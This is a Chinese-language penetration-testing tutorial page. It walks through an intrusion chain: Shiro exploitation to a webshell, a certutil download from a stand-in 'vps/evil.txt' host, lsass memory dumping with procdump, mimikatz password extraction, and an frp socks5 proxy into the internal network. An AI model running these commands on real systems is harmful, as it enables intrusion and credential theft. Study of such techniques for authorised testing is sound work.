溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務條款》
您好，登錄后才能下訂單哦！
本篇內容介紹了“如何理解滲透測試流程：getshell，內存提取密碼，內網滲透”的有關知識，在實際案例的操作過程中，不少人都會遇到這樣的困境，接下來就讓小編帶領大家學習一下如何處理這些情況吧！希望大家仔細閱讀，能夠學有所成！
通過shiro框架漏洞拿到webshell——上傳相關工具procdump.exe讀取內存并導出為dmp文件——使用mimikatz進行密碼破解——用frp進行反向代理——使用破解的賬戶密碼登錄服務器。
通過shiro工具進行測試：關于shiro和工具參考：https://www.cnblogs.com/xiaozi/p/13239046.html
獲取webshell,有些時候如果獲取不到可以通過遠程下載的辦法下載shell:certutil -urlcache -split -f http://vps/evil.txt test.jsp
上傳procdump.exe
下載地址：https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
執行命令：procdump64.exe -accepteula -ma lsass.exe
說明：lsass.exe是windows系統的一個重要進程，里面存著（登錄過的）系統賬戶和密碼
把dmp文件下載下來，使用mimikatz進行密碼破解：
先導入dmp文件，命令：sekurlsa::minidump lass*.dmp
讀取賬戶密碼，命令：sekurlsa::logonpasswords
然后搭建frp梯子：
實戰還是多用用plugin = socks5,這個參數可以幫你進行全局代理。
用拿到的賬號密碼登錄服務器：
“如何理解滲透測試流程：getshell，內存提取密碼，內網滲透”的內容就介紹到這里了，感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站，小編將為大家輸出更多高質量的實用文章！
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
